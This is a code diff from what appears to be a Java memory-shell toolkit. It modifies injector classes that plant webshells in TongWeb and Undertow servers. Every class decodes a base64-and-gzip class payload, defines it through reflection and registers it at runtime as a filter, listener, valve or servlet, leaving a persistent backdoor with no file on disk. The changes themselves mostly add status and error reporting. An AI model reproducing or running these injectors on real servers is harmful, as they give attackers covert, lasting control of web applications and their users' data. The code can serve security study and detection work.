import java.util.zip.GZIPInputStream; import java.util.zip.GZIPInputStream;
/** /**
* @author ReaJason * @author ReaJason
*/ */
public class TongWebFilterInjector { public class TongWebFilterInjector {
Logger logger = Logger.getLogger(TongWebFilterInjector.class.getName());
private String msg = "";
public String getUrlPattern() { public String getUrlPattern() {
return "{{urlPattern}}"; return "{{urlPattern}}";
@@ -32,15 +33,42 @@ public class TongWebFilterInjector {
} }
public TongWebFilterInjector() { public TongWebFilterInjector() {
Set<Object> contexts = null;
try { try {
Set<Object> contexts = getContext(); contexts = getContext();
for (Object context : contexts) { } catch (Throwable throwable) {
Object filter = getShell(context); msg += "context error: " + getErrorMessage(throwable);
inject(context, filter);
}
} catch (Exception e) {
e.printStackTrace();
} }
if (contexts != null) {
for (Object context : contexts) {
msg += ("context: [" + getContextRoot(context) + "] ");
try {
Object shell = getShell(context);
inject(context, shell);
msg += "[" + getUrlPattern() + "] ready\n";
} catch (Throwable e) {
msg += "failed " + getErrorMessage(e) + "\n";
}
}
}
System.out.println(msg);
}
@SuppressWarnings("all")
private String getContextRoot(Object context) {
String r = null;
try {
r = (String) invokeMethod(invokeMethod(context, "getServletContext", null, null), "getContextPath", null, null);
} catch (Exception ignored) {
}
String c = context.getClass().getName();
if (r == null) {
return c;
}
if (r.isEmpty()) {
return c + "(/)";
}
return c + "(" + r + ")";
} }
/** /**
@@ -86,21 +114,22 @@ public class TongWebFilterInjector {
@SuppressWarnings("all") @SuppressWarnings("all")
private Object getShell(Object context) throws Exception { private Object getShell(Object context) throws Exception {
ClassLoader classLoader = getWebAppClassLoader(context); ClassLoader classLoader = getWebAppClassLoader(context);
Class<?> clazz = null;
try { try {
return classLoader.loadClass(getClassName()).newInstance(); clazz = classLoader.loadClass(getClassName());
} catch (Exception e) { } catch (Exception e) {
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String())); byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true); defineClass.setAccessible(true);
Class<?> clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length); clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
return clazz.newInstance();
} }
msg += "[" + classLoader.getClass().getName() + "] ";
return clazz.newInstance();
} }
@SuppressWarnings("all") @SuppressWarnings("all")
public void inject(Object context, Object filter) throws Exception { public void inject(Object context, Object filter) throws Exception {
if (invokeMethod(context, "findFilterDef", new Class[]{String.class}, new Object[]{getClassName()}) != null) { if (invokeMethod(context, "findFilterDef", new Class[]{String.class}, new Object[]{getClassName()}) != null) {
logger.warning("filter already injected");
return; return;
} }
String filterClassName = getClassName(); String filterClassName = getClassName();
@@ -137,7 +166,11 @@ public class TongWebFilterInjector {
Object filterConfig = constructor.newInstance(context, filterDef); Object filterConfig = constructor.newInstance(context, filterDef);
Map filterConfigs = (Map) getFieldValue(context, "filterConfigs"); Map filterConfigs = (Map) getFieldValue(context, "filterConfigs");
filterConfigs.put(filterClassName, filterConfig); filterConfigs.put(filterClassName, filterConfig);
logger.info("filter inject success"); }
@Override
public String toString() {
return msg;
} }
@SuppressWarnings("all") @SuppressWarnings("all")
@@ -212,6 +245,22 @@ public class TongWebFilterInjector {
clazz = clazz.getSuperclass(); clazz = clazz.getSuperclass();
} }
} }
throw new NoSuchFieldException(); throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
}
@SuppressWarnings("all")
private String getErrorMessage(Throwable throwable) {
PrintStream printStream = null;
try {
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
printStream = new PrintStream(outputStream);
throwable.printStackTrace(printStream);
return outputStream.toString();
} finally {
if (printStream != null) {
printStream.close();
}
}
} }
} }
@@ -3,6 +3,7 @@ package com.reajason.javaweb.memshell.injector.tongweb;
import java.io.ByteArrayInputStream; import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream; import java.io.ByteArrayOutputStream;
import java.io.IOException; import java.io.IOException;
import java.io.PrintStream;
import java.lang.reflect.Field; import java.lang.reflect.Field;
import java.lang.reflect.Method; import java.lang.reflect.Method;
import java.util.*; import java.util.*;
@@ -13,17 +14,7 @@ import java.util.zip.GZIPInputStream;
*/ */
public class TongWebListenerInjector { public class TongWebListenerInjector {
public TongWebListenerInjector() { private String msg = "";
try {
Set<Object> contexts = getContext();
for (Object context : contexts) {
Object listener = getShell(context);
inject(context, listener);
}
} catch (Exception e) {
e.printStackTrace();
}
}
public String getClassName() { public String getClassName() {
return "{{className}}"; return "{{className}}";
@@ -33,6 +24,45 @@ public class TongWebListenerInjector {
return "{{base64Str}}"; return "{{base64Str}}";
} }
public TongWebListenerInjector() {
Set<Object> contexts = null;
try {
contexts = getContext();
} catch (Throwable throwable) {
msg += "context error: " + getErrorMessage(throwable);
}
if (contexts != null) {
for (Object context : contexts) {
msg += ("context: [" + getContextRoot(context) + "] ");
try {
Object shell = getShell(context);
inject(context, shell);
msg += "[/*] ready\n";
} catch (Throwable e) {
msg += "failed " + getErrorMessage(e) + "\n";
}
}
}
System.out.println(msg);
}
@SuppressWarnings("all")
private String getContextRoot(Object context) {
String r = null;
try {
r = (String) invokeMethod(invokeMethod(context, "getServletContext", null, null), "getContextPath", null, null);
} catch (Exception ignored) {
}
String c = context.getClass().getName();
if (r == null) {
return c;
}
if (r.isEmpty()) {
return c + "(/)";
}
return c + "(" + r + ")";
}
public Set<Object> getContext() throws Exception { public Set<Object> getContext() throws Exception {
Set<Object> contexts = new HashSet<>(); Set<Object> contexts = new HashSet<>();
Set<Thread> threads = Thread.getAllStackTraces().keySet(); Set<Thread> threads = Thread.getAllStackTraces().keySet();
@@ -64,15 +94,17 @@ public class TongWebListenerInjector {
@SuppressWarnings("all") @SuppressWarnings("all")
private Object getShell(Object context) throws Exception { private Object getShell(Object context) throws Exception {
ClassLoader classLoader = getWebAppClassLoader(context); ClassLoader classLoader = getWebAppClassLoader(context);
Class<?> clazz = null;
try { try {
return classLoader.loadClass(getClassName()).newInstance(); clazz = classLoader.loadClass(getClassName());
} catch (Exception e) { } catch (Exception e) {
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String())); byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true); defineClass.setAccessible(true);
Class<?> clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length); clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
return clazz.newInstance();
} }
msg += "[" + classLoader.getClass().getName() + "] ";
return clazz.newInstance();
} }
@SuppressWarnings("all") @SuppressWarnings("all")
@@ -81,7 +113,6 @@ public class TongWebListenerInjector {
List listeners = Arrays.asList(objects); List listeners = Arrays.asList(objects);
for (Object o : listeners) { for (Object o : listeners) {
if (o.getClass().getName().contains(getClassName())) { if (o.getClass().getName().contains(getClassName())) {
System.out.println("listener already injected");
return; return;
} }
} }
@@ -101,6 +132,11 @@ public class TongWebListenerInjector {
} }
} }
@Override
public String toString() {
return msg;
}
@SuppressWarnings("all") @SuppressWarnings("all")
public static byte[] decodeBase64(String base64Str) throws Exception { public static byte[] decodeBase64(String base64Str) throws Exception {
Class<?> decoderClass; Class<?> decoderClass;
@@ -145,7 +181,7 @@ public class TongWebListenerInjector {
} }
} }
throw new NoSuchFieldException(name); throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
} }
@@ -193,4 +229,19 @@ public class TongWebListenerInjector {
throw new RuntimeException("Error invoking method: " + methodName, e); throw new RuntimeException("Error invoking method: " + methodName, e);
} }
} }
@SuppressWarnings("all")
private String getErrorMessage(Throwable throwable) {
PrintStream printStream = null;
try {
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
printStream = new PrintStream(outputStream);
throwable.printStackTrace(printStream);
return outputStream.toString();
} finally {
if (printStream != null) {
printStream.close();
}
}
}
} }
@@ -3,6 +3,7 @@ package com.reajason.javaweb.memshell.injector.tongweb;
import java.io.ByteArrayInputStream; import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream; import java.io.ByteArrayOutputStream;
import java.io.IOException; import java.io.IOException;
import java.io.PrintStream;
import java.lang.reflect.Field; import java.lang.reflect.Field;
import java.lang.reflect.Method; import java.lang.reflect.Method;
import java.util.*; import java.util.*;
@@ -13,17 +14,7 @@ import java.util.zip.GZIPInputStream;
*/ */
public class TongWebValveInjector { public class TongWebValveInjector {
public TongWebValveInjector() { private String msg = "";
try {
Set<Object> contexts = getContext();
for (Object context : contexts) {
Object valve = getShell(context);
inject(context, valve);
}
} catch (Exception e) {
e.printStackTrace();
}
}
public String getClassName() { public String getClassName() {
return "{{className}}"; return "{{className}}";
@@ -33,6 +24,45 @@ public class TongWebValveInjector {
return "{{base64Str}}"; return "{{base64Str}}";
} }
public TongWebValveInjector() {
Set<Object> contexts = null;
try {
contexts = getContext();
} catch (Throwable throwable) {
msg += "context error: " + getErrorMessage(throwable);
}
if (contexts != null) {
for (Object context : contexts) {
msg += ("context: [" + getContextRoot(context) + "] ");
try {
Object shell = getShell(context);
inject(context, shell);
msg += "[/*] ready\n";
} catch (Throwable e) {
msg += "failed " + getErrorMessage(e) + "\n";
}
}
}
System.out.println(msg);
}
@SuppressWarnings("all")
private String getContextRoot(Object context) {
String r = null;
try {
r = (String) invokeMethod(invokeMethod(context, "getServletContext", null, null), "getContextPath", null, null);
} catch (Exception ignored) {
}
String c = context.getClass().getName();
if (r == null) {
return c;
}
if (r.isEmpty()) {
return c + "(/)";
}
return c + "(" + r + ")";
}
public Set<Object> getContext() throws Exception { public Set<Object> getContext() throws Exception {
Set<Object> contexts = new HashSet<>(); Set<Object> contexts = new HashSet<>();
Set<Thread> threads = Thread.getAllStackTraces().keySet(); Set<Thread> threads = Thread.getAllStackTraces().keySet();
@@ -64,23 +94,28 @@ public class TongWebValveInjector {
@SuppressWarnings("all") @SuppressWarnings("all")
private Object getShell(Object context) throws Exception { private Object getShell(Object context) throws Exception {
ClassLoader classLoader = getWebAppClassLoader(context); ClassLoader classLoader = getWebAppClassLoader(context);
Class<?> clazz = null;
try { try {
return classLoader.loadClass(getClassName()).newInstance(); clazz = classLoader.loadClass(getClassName());
} catch (Exception e) { } catch (Exception e) {
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String())); byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true); defineClass.setAccessible(true);
Class<?> clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length); clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
return clazz.newInstance();
} }
msg += "[" + classLoader.getClass().getName() + "] ";
return clazz.newInstance();
} }
@SuppressWarnings("all") @SuppressWarnings("all")
public void inject(Object context, Object valve) throws Exception { public void inject(Object context, Object valve) throws Exception {
Object pipeline = invokeMethod(context, "getPipeline", null, null); Object pipeline = invokeMethod(context, "getPipeline", null, null);
if (isInjected(pipeline)) { Object[] valves = (Object[]) invokeMethod(pipeline, "getValves", null, null);
System.out.println("valve already injected"); List<Object> valvesList = Arrays.asList(valves);
return; for (Object v : valvesList) {
if (v.getClass().getName().contains(getClassName())) {
return;
}
} }
Class valveClass = null; Class valveClass = null;
ClassLoader contextClassLoader = context.getClass().getClassLoader(); ClassLoader contextClassLoader = context.getClass().getClassLoader();
@@ -97,22 +132,13 @@ public class TongWebValveInjector {
} }
} }
invokeMethod(pipeline, "addValve", new Class[]{valveClass}, new Object[]{valve}); invokeMethod(pipeline, "addValve", new Class[]{valveClass}, new Object[]{valve});
System.out.println("valve injected successfully");
} }
@SuppressWarnings("all") @Override
public boolean isInjected(Object pipeline) throws Exception { public String toString() {
Object[] valves = (Object[]) invokeMethod(pipeline, "getValves", null, null); return msg;
List<Object> valvesList = Arrays.asList(valves);
for (Object valve : valvesList) {
if (valve.getClass().getName().contains(getClassName())) {
return true;
}
}
return false;
} }
@SuppressWarnings("all") @SuppressWarnings("all")
public static byte[] decodeBase64(String base64Str) throws Exception { public static byte[] decodeBase64(String base64Str) throws Exception {
Class<?> decoderClass; Class<?> decoderClass;
@@ -159,7 +185,7 @@ public class TongWebValveInjector {
} }
} }
throw new NoSuchFieldException(name); throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
} }
@SuppressWarnings("all") @SuppressWarnings("all")
@@ -187,4 +213,20 @@ public class TongWebValveInjector {
throw new RuntimeException("Error invoking method: " + methodName, e); throw new RuntimeException("Error invoking method: " + methodName, e);
} }
} }
@SuppressWarnings("all")
private String getErrorMessage(Throwable throwable) {
PrintStream printStream = null;
try {
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
printStream = new PrintStream(outputStream);
throwable.printStackTrace(printStream);
return outputStream.toString();
} finally {
if (printStream != null) {
printStream.close();
}
}
}
} }
@@ -4,6 +4,7 @@ import javax.servlet.DispatcherType;
import java.io.ByteArrayInputStream; import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream; import java.io.ByteArrayOutputStream;
import java.io.IOException; import java.io.IOException;
import java.io.PrintStream;
import java.lang.reflect.Field; import java.lang.reflect.Field;
import java.lang.reflect.Method; import java.lang.reflect.Method;
import java.util.*; import java.util.*;
@@ -14,17 +15,7 @@ import java.util.zip.GZIPInputStream;
* @author ReaJason * @author ReaJason
*/ */
public class UndertowFilterInjector { public class UndertowFilterInjector {
public UndertowFilterInjector() { private String msg = "";
try {
List<Object> contexts = getContext();
for (Object context : contexts) {
Object filter = getShell(context);
inject(context, filter);
}
} catch (Exception e) {
e.printStackTrace();
}
}
public String getUrlPattern() { public String getUrlPattern() {
return "{{urlPattern}}"; return "{{urlPattern}}";
@@ -38,6 +29,45 @@ public class UndertowFilterInjector {
return "{{base64Str}}"; return "{{base64Str}}";
} }
public UndertowFilterInjector() {
List<Object> contexts = null;
try {
contexts = getContext();
} catch (Throwable throwable) {
msg += "context error: " + getErrorMessage(throwable);
}
if (contexts != null) {
for (Object context : contexts) {
msg += ("context: [" + getContextRoot(context) + "] ");
try {
Object shell = getShell(context);
inject(context, shell);
msg += "[" + getUrlPattern() + "] ready\n";
} catch (Throwable e) {
msg += "failed " + getErrorMessage(e) + "\n";
}
}
}
System.out.println(msg);
}
@SuppressWarnings("all")
private String getContextRoot(Object context) {
String r = null;
try {
r = (String) invokeMethod(context, "getContextPath", null, null);
} catch (Exception ignored) {
}
String c = context.getClass().getName();
if (r == null) {
return c;
}
if (r.isEmpty()) {
return c + "(/)";
}
return c + "(" + r + ")";
}
public List<Object> getContext() { public List<Object> getContext() {
List<Object> contexts = new ArrayList<Object>(); List<Object> contexts = new ArrayList<Object>();
Set<Thread> threads = Thread.getAllStackTraces().keySet(); Set<Thread> threads = Thread.getAllStackTraces().keySet();
@@ -67,20 +97,21 @@ public class UndertowFilterInjector {
@SuppressWarnings("all") @SuppressWarnings("all")
private Object getShell(Object context) throws Exception { private Object getShell(Object context) throws Exception {
ClassLoader classLoader = getWebAppClassLoader(context); ClassLoader classLoader = getWebAppClassLoader(context);
Class<?> clazz = null;
try { try {
return classLoader.loadClass(getClassName()).newInstance(); clazz = classLoader.loadClass(getClassName());
} catch (Exception e) { } catch (Exception e) {
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String())); byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true); defineClass.setAccessible(true);
Class<?> clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length); clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
return clazz.newInstance();
} }
msg += "[" + classLoader.getClass().getName() + "] ";
return clazz.newInstance();
} }
public void inject(Object context, Object filter) throws Exception { public void inject(Object context, Object filter) throws Exception {
if (isInjected(context)) { if (isInjected(context)) {
System.out.println("filter already injected");
return; return;
} }
Class<?> filterInfoClass = context.getClass().getClassLoader().loadClass("io.undertow.servlet.api.FilterInfo"); Class<?> filterInfoClass = context.getClass().getClassLoader().loadClass("io.undertow.servlet.api.FilterInfo");
@@ -91,7 +122,6 @@ public class UndertowFilterInjector {
Object managedFilters = invokeMethod(deploymentImpl, "getFilters", null, null); Object managedFilters = invokeMethod(deploymentImpl, "getFilters", null, null);
invokeMethod(managedFilters, "addFilter", new Class[]{filterInfoClass}, new Object[]{filterInfo}); invokeMethod(managedFilters, "addFilter", new Class[]{filterInfoClass}, new Object[]{filterInfo});
invokeMethod(deploymentInfo, "insertFilterUrlMapping", new Class[]{int.class, String.class, String.class, DispatcherType.class}, new Object[]{0, getClassName(), getUrlPattern(), DispatcherType.REQUEST}); invokeMethod(deploymentInfo, "insertFilterUrlMapping", new Class[]{int.class, String.class, String.class, DispatcherType.class}, new Object[]{0, getClassName(), getUrlPattern(), DispatcherType.REQUEST});
System.out.println("filter inject success");
} }
@SuppressWarnings("unchecked") @SuppressWarnings("unchecked")
@@ -110,6 +140,11 @@ public class UndertowFilterInjector {
return false; return false;
} }
@Override
public String toString() {
return msg;
}
@SuppressWarnings("all") @SuppressWarnings("all")
public static byte[] decodeBase64(String base64Str) throws Exception { public static byte[] decodeBase64(String base64Str) throws Exception {
Class<?> decoderClass; Class<?> decoderClass;
@@ -154,7 +189,7 @@ public class UndertowFilterInjector {
} }
} }
throw new NoSuchFieldException(name); throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
} }
@@ -196,4 +231,19 @@ public class UndertowFilterInjector {
throw new RuntimeException("Error invoking method: " + methodName, e); throw new RuntimeException("Error invoking method: " + methodName, e);
} }
} }
@SuppressWarnings("all")
private String getErrorMessage(Throwable throwable) {
PrintStream printStream = null;
try {
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
printStream = new PrintStream(outputStream);
throwable.printStackTrace(printStream);
return outputStream.toString();
} finally {
if (printStream != null) {
printStream.close();
}
}
}
} }
@@ -3,6 +3,7 @@ package com.reajason.javaweb.memshell.injector.undertow;
import java.io.ByteArrayInputStream; import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream; import java.io.ByteArrayOutputStream;
import java.io.IOException; import java.io.IOException;
import java.io.PrintStream;
import java.lang.reflect.Field; import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException; import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method; import java.lang.reflect.Method;
@@ -17,16 +18,45 @@ import java.util.zip.GZIPInputStream;
*/ */
public class UndertowListenerInjector { public class UndertowListenerInjector {
private String msg = "";
public UndertowListenerInjector() { public UndertowListenerInjector() {
List<Object> contexts = null;
try { try {
List<Object> contexts = getContext(); contexts = getContext();
for (Object context : contexts) { } catch (Throwable throwable) {
Object listener = getShell(context); msg += "context error: " + getErrorMessage(throwable);
inject(context, listener);
}
} catch (Exception e) {
e.printStackTrace();
} }
if (contexts != null) {
for (Object context : contexts) {
msg += ("context: [" + getContextRoot(context) + "] ");
try {
Object shell = getShell(context);
inject(context, shell);
msg += "[/*] ready\n";
} catch (Throwable e) {
msg += "failed " + getErrorMessage(e) + "\n";
}
}
}
System.out.println(msg);
}
@SuppressWarnings("all")
private String getContextRoot(Object context) {
String r = null;
try {
r = (String) invokeMethod(context, "getContextPath", null, null);
} catch (Exception ignored) {
}
String c = context.getClass().getName();
if (r == null) {
return c;
}
if (r.isEmpty()) {
return c + "(/)";
}
return c + "(" + r + ")";
} }
public String getClassName() { public String getClassName() {
@@ -65,21 +95,30 @@ public class UndertowListenerInjector {
@SuppressWarnings("all") @SuppressWarnings("all")
private Object getShell(Object context) throws Exception { private Object getShell(Object context) throws Exception {
ClassLoader classLoader = getWebAppClassLoader(context); ClassLoader classLoader = getWebAppClassLoader(context);
Class<?> clazz = null;
try { try {
return classLoader.loadClass(getClassName()).newInstance(); clazz = classLoader.loadClass(getClassName());
} catch (Exception e) { } catch (Exception e) {
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String())); byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true); defineClass.setAccessible(true);
Class<?> clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length); clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
return clazz.newInstance();
} }
msg += "[" + classLoader.getClass().getName() + "] ";
return clazz.newInstance();
} }
public void inject(Object context, Object listener) throws Exception { public void inject(Object context, Object listener) throws Exception {
if (isInjected(context)) { List<?> allListeners = (List<?>) getFieldValue(getFieldValue(getFieldValue(context, "deployment"), "applicationListeners"), "allListeners");
System.out.println("listener already injected"); if (allListeners != null) {
return; for (Object allListener : allListeners) {
Class<?> l = (Class<?>) getFieldValue(getFieldValue(allListener, "listenerInfo"), "listenerClass");
if (l != null) {
if (l.getName().contains(getClassName())) {
return ;
}
}
}
} }
Class<?> listenerInfoClass = context.getClass().getClassLoader().loadClass("io.undertow.servlet.api.ListenerInfo"); Class<?> listenerInfoClass = context.getClass().getClassLoader().loadClass("io.undertow.servlet.api.ListenerInfo");
Object listenerInfo = listenerInfoClass.getConstructor(Class.class).newInstance(listener.getClass()); Object listenerInfo = listenerInfoClass.getConstructor(Class.class).newInstance(listener.getClass());
@@ -88,25 +127,13 @@ public class UndertowListenerInjector {
Class<?> managedListenerClass = context.getClass().getClassLoader().loadClass("io.undertow.servlet.core.ManagedListener"); Class<?> managedListenerClass = context.getClass().getClassLoader().loadClass("io.undertow.servlet.core.ManagedListener");
Object managedListener = managedListenerClass.getConstructor(listenerInfoClass, boolean.class).newInstance(listenerInfo, true); Object managedListener = managedListenerClass.getConstructor(listenerInfoClass, boolean.class).newInstance(listenerInfo, true);
invokeMethod(applicationListeners, "addListener", new Class[]{managedListenerClass}, new Object[]{managedListener}); invokeMethod(applicationListeners, "addListener", new Class[]{managedListenerClass}, new Object[]{managedListener});
System.out.println("listener inject success");
} }
public boolean isInjected(Object context) throws Exception { @Override
List<?> allListeners = (List<?>) getFieldValue(getFieldValue(getFieldValue(context, "deployment"), "applicationListeners"), "allListeners"); public String toString() {
if (allListeners != null) { return msg;
for (Object allListener : allListeners) {
Class<?> listener = (Class<?>) getFieldValue(getFieldValue(allListener, "listenerInfo"), "listenerClass");
if (listener != null) {
if (listener.getName().contains(getClassName())) {
return true;
}
}
}
}
return false;
} }
@SuppressWarnings("all") @SuppressWarnings("all")
public static byte[] decodeBase64(String base64Str) throws Exception { public static byte[] decodeBase64(String base64Str) throws Exception {
Class<?> decoderClass; Class<?> decoderClass;
@@ -152,7 +179,7 @@ public class UndertowListenerInjector {
clazz = clazz.getSuperclass(); clazz = clazz.getSuperclass();
} }
} }
throw new NoSuchFieldException(); throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
} }
@SuppressWarnings("all") @SuppressWarnings("all")
@@ -181,4 +208,19 @@ public class UndertowListenerInjector {
throw new RuntimeException("Error invoking method: " + methodName, e); throw new RuntimeException("Error invoking method: " + methodName, e);
} }
} }
@SuppressWarnings("all")
private String getErrorMessage(Throwable throwable) {
PrintStream printStream = null;
try {
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
printStream = new PrintStream(outputStream);
throwable.printStackTrace(printStream);
return outputStream.toString();
} finally {
if (printStream != null) {
printStream.close();
}
}
}
} }
@@ -40,7 +40,6 @@ public class UndertowServletHandlerAgentInjector implements ClassFileTransformer
String name = allLoadedClass.getName(); String name = allLoadedClass.getName();
if (TARGET_CLASS.replace("/", ".").equals(name)) { if (TARGET_CLASS.replace("/", ".").equals(name)) {
inst.retransformClasses(allLoadedClass); inst.retransformClasses(allLoadedClass);
System.out.println("MemShell Agent is working at io.undertow.servlet.handlers.ServletInitialHandler.handleFirstRequest");
} }
} }
} }
@@ -61,6 +60,7 @@ public class UndertowServletHandlerAgentInjector implements ClassFileTransformer
}; };
ClassVisitor cv = getClassVisitor(cw); ClassVisitor cv = getClassVisitor(cw);
cr.accept(cv, ClassReader.EXPAND_FRAMES); cr.accept(cv, ClassReader.EXPAND_FRAMES);
System.out.println("MemShell Agent is working at " + TARGET_CLASS.replace("/", ".") + "." + TARGET_METHOD_NAME);
return cw.toByteArray(); return cw.toByteArray();
} catch (Throwable e) { } catch (Throwable e) {
e.printStackTrace(); e.printStackTrace();
@@ -3,6 +3,7 @@ package com.reajason.javaweb.memshell.injector.undertow;
import java.io.ByteArrayInputStream; import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream; import java.io.ByteArrayOutputStream;
import java.io.IOException; import java.io.IOException;
import java.io.PrintStream;
import java.lang.reflect.Field; import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException; import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method; import java.lang.reflect.Method;
@@ -17,17 +18,7 @@ import java.util.zip.GZIPInputStream;
*/ */
public class UndertowServletInjector { public class UndertowServletInjector {
public UndertowServletInjector() { private String msg = "";
try {
List<Object> contexts = getContext();
for (Object context : contexts) {
Object servlet = getShell(context);
inject(context, servlet);
}
} catch (Exception e) {
e.printStackTrace();
}
}
public String getUrlPattern() { public String getUrlPattern() {
return "{{urlPattern}}"; return "{{urlPattern}}";
@@ -41,6 +32,45 @@ public class UndertowServletInjector {
return "{{base64Str}}"; return "{{base64Str}}";
} }
public UndertowServletInjector() {
List<Object> contexts = null;
try {
contexts = getContext();
} catch (Throwable throwable) {
msg += "context error: " + getErrorMessage(throwable);
}
if (contexts != null) {
for (Object context : contexts) {
msg += ("context: [" + getContextRoot(context) + "] ");
try {
Object shell = getShell(context);
inject(context, shell);
msg += "[" + getUrlPattern() + "] ready\n";
} catch (Throwable e) {
msg += "failed " + getErrorMessage(e) + "\n";
}
}
}
System.out.println(msg);
}
@SuppressWarnings("all")
private String getContextRoot(Object context) {
String r = null;
try {
r = (String) invokeMethod(context, "getContextPath", null, null);
} catch (Exception ignored) {
}
String c = context.getClass().getName();
if (r == null) {
return c;
}
if (r.isEmpty()) {
return c + "(/)";
}
return c + "(" + r + ")";
}
public List<Object> getContext() throws IllegalAccessException, NoSuchMethodException, InvocationTargetException { public List<Object> getContext() throws IllegalAccessException, NoSuchMethodException, InvocationTargetException {
List<Object> contexts = new ArrayList<Object>(); List<Object> contexts = new ArrayList<Object>();
Set<Thread> threads = Thread.getAllStackTraces().keySet(); Set<Thread> threads = Thread.getAllStackTraces().keySet();
@@ -69,15 +99,17 @@ public class UndertowServletInjector {
@SuppressWarnings("all") @SuppressWarnings("all")
private Object getShell(Object context) throws Exception { private Object getShell(Object context) throws Exception {
ClassLoader classLoader = getWebAppClassLoader(context); ClassLoader classLoader = getWebAppClassLoader(context);
Class<?> clazz = null;
try { try {
return classLoader.loadClass(getClassName()).newInstance(); clazz = classLoader.loadClass(getClassName());
} catch (Exception e) { } catch (Exception e) {
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String())); byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true); defineClass.setAccessible(true);
Class<?> clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length); clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
return clazz.newInstance();
} }
msg += "[" + classLoader.getClass().getName() + "] ";
return clazz.newInstance();
} }
public void inject(Object context, Object servlet) throws Exception { public void inject(Object context, Object servlet) throws Exception {
@@ -85,7 +117,6 @@ public class UndertowServletInjector {
Object managedServlets = invokeMethod(deploymentImpl, "getServlets", null, null); Object managedServlets = invokeMethod(deploymentImpl, "getServlets", null, null);
Object servletHandler = invokeMethod(managedServlets, "getServletHandler", new Class[]{String.class}, new Object[]{getClassName()}); Object servletHandler = invokeMethod(managedServlets, "getServletHandler", new Class[]{String.class}, new Object[]{getClassName()});
if (servletHandler != null) { if (servletHandler != null) {
System.out.println("servlet already injected");
return; return;
} }
@@ -100,7 +131,11 @@ public class UndertowServletInjector {
Object servletPaths = invokeMethod(deploymentImpl, "getServletPaths", null, null); Object servletPaths = invokeMethod(deploymentImpl, "getServletPaths", null, null);
Object data = invokeMethod(servletPaths, "setupServletChains", null, null); Object data = invokeMethod(servletPaths, "setupServletChains", null, null);
setFieldValue(servletPaths, "data", data); setFieldValue(servletPaths, "data", data);
System.out.println("servlet inject success"); }
@Override
public String toString() {
return msg;
} }
@SuppressWarnings("all") @SuppressWarnings("all")
@@ -147,7 +182,7 @@ public class UndertowServletInjector {
} }
} }
throw new NoSuchFieldException(name); throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
} }
@@ -195,4 +230,19 @@ public class UndertowServletInjector {
throw new RuntimeException("Error invoking method: " + methodName, e); throw new RuntimeException("Error invoking method: " + methodName, e);
} }
} }
@SuppressWarnings("all")
private String getErrorMessage(Throwable throwable) {
PrintStream printStream = null;
try {
